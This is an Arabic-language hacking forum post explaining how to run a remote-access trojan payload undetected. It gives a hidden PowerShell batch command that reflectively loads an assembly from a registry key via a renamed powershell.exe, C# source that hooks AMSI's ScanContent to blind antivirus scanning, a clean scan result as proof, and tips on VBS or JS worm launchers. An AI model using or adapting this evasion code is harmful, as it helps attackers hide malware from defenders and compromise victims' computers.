21.11.2017 PowerShell Hooking Clean-Bypass


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
1,568
2,963
1
شفت من كم يوم البروجيكت هدا بالجيت هاب
GitHub - tandasat/DotNetHooking: Sample use cases of the .NET native code hooking technique
رح نقدر من خلاله تشغيل الباور شيل من نفس مسار ملف اللي رح تخترق فيه
يعني لو نسخنا الملف التنفيذي للباور شيل
للمسار اللي فيه على سبيل المثال ملف الbat هدا
Bash:
p -ExecutionPolicy Bypass -windowstyle hidden -noexit -command [Reflection.Assembly]::Load((Get-ItemProperty HKCU:\Software\bashar).bachir).EntryPoint.Invoke($null,$null)
ان شغلنا ملف الbat رح يشتغل الكوماند اللي انت حددته بالملف الدفعي
وان رحت على الرات وشفت العملية الخاصة بسيرفرك رح تكون اسم ملف الباور شيل
اللي نسخته للمسار الخاص بالملف الدفعي والمكتبة الناتجة
ممكن تسوه اي اسم مابهم انا عملته p.com
وان اجا يفحص الملف هاد مارح يقدر يطلع بشي لانه اصلا الباور شيل نفسه
فقط نسخناه وغيرنا اسمه
طبعا ان بتعمل كمبايل للملف الدفعي عن طريق اي برنامج
ان فحص الناتج رح يعرف انه بيتم تمرير كوماند للملف p.com
فيه برنامج بيحول من ملف دفعي لتنفيذي والناتج بالسي++ وكلين
مرة قال لي عليه احد الشباب
عشان تصعب فحص الملف هذا ان اردت
او بامكانك تستغنى عن فكرة الملف الدفعي كلها على بعضها
وتمرر عن طريق السي شارب الكوماند للملف عن طريق الcmd
هنا السورس للمكتبة او استخدم الاصل مابتفرق
انا فقط مثل ماقلت لك نظفت الكود واختصرته صار 6 كيلو
C#:
using System;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security;
namespace HookingAssembly
{
    internal class HookScanContent
    {
        private static readonly AssemblyLoadEventHandler SEventHandler =OnAssemblyLoad;
        internal HookScanContent ()
        {
          AppDomain.CurrentDomain.AssemblyLoad += SEventHandler;
        }
        private static void OnAssemblyLoad (object sender,AssemblyLoadEventArgs args)
        {
            AppDomain.CurrentDomain.AssemblyLoad -= SEventHandler;
            var smaAssembly = args.LoadedAssembly;
            const BindingFlags anyType = BindingFlags.Static |
                                         BindingFlags.Instance |
                                         BindingFlags.Public |
                                         BindingFlags.NonPublic;
            var targetMethodType = new[] { typeof(string), typeof(string) };
            var handlerMethodType = new[] { typeof(string), typeof(string) };
            var trampolineMethodType = new[] { typeof(string), typeof(string) };
            var targetMethodClass = smaAssembly.GetType("System.Management.Automation.AmsiUtils");
            var handlerMethodClass = typeof(HookScanContent);
            var trampolineMethodClass = typeof(HookScanContent);
            var target = targetMethodClass.GetMethod("ScanContent",anyType,null,targetMethodType,null);
            var hookHandler = handlerMethodClass.GetMethod("ScanContentHookHandler",anyType,null,handlerMethodType,null);
          var trampoline = trampolineMethodClass.GetMethod("ScanContentTrampoline",anyType,null,trampolineMethodType,null);
            if(target!=null) RuntimeHelpers.PrepareMethod(target.MethodHandle);
            if(hookHandler!=null) RuntimeHelpers.PrepareMethod(hookHandler.MethodHandle);
            if(trampoline!=null) RuntimeHelpers.PrepareMethod(trampoline.MethodHandle);}}
    internal static class MinHook
    {
        [SuppressUnmanagedCodeSecurity]
        internal static class NativeMethods
        {
            [DllImport("kernel32.dll", EntryPoint = "LoadLibraryW",SetLastError = true, CharSet = CharSet.Unicode)]
            internal static extern IntPtr LoadLibrary (string fileName);
[DllImport("kernel32.dll",EntryPoint ="GetProcAddress",SetLastError= true,CharSet=CharSet.Ansi,BestFitMapping = false)]
            internal static extern IntPtr GetProcAddress (IntPtr module, string procName);
            internal static IntPtr MhAllHooks = IntPtr.Zero;
            internal enum MhStatus
            {
                MhOk = 0,
            }
            [UnmanagedFunctionPointer(CallingConvention.Winapi)]
            internal delegate MhStatus MhInitializeType ();
            [UnmanagedFunctionPointer(CallingConvention.Winapi)]
            internal delegate MhStatus MhCreateHookType (IntPtr target,IntPtr detour, out IntPtr original);
            [UnmanagedFunctionPointer(CallingConvention.Winapi)]
            internal delegate MhStatus MhEnableHookType (IntPtr target);
        }
    }
}
طبعا الفحص كلين من الكل للملفات الثلاثة
Multiple results - Jotti's malware scan




هنا صورة متحركة لماسيحدث





واحد منها الباور شيل اكيد بيكون كلين
عشان ال تخطي اعتقد انه بيتخطى لانها طريقة جديدة
ياريت تجربو
اسف شرحت بسرعه لان نايم ههه
ملاحظة : مش بس ممكن انك تخله ملف دفعي وبعده بتحوله لتنفيذي او لا
مش بس انك بتشغل الكوماند لاين عن طريق السي شارب
لا ممكن تسوي دودة vbs او js بتشغل الكوماند لاين
وبتمرر للملف اللي هوة نسخة من ملف الباور شيل اي امر بدك اياه
الفديو بالرابط هنا
https://up.top4top.net/downloadf-1037dlhxv1-zip.html

 
  • أعجبني
التفاعلات: Eagle_Master

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك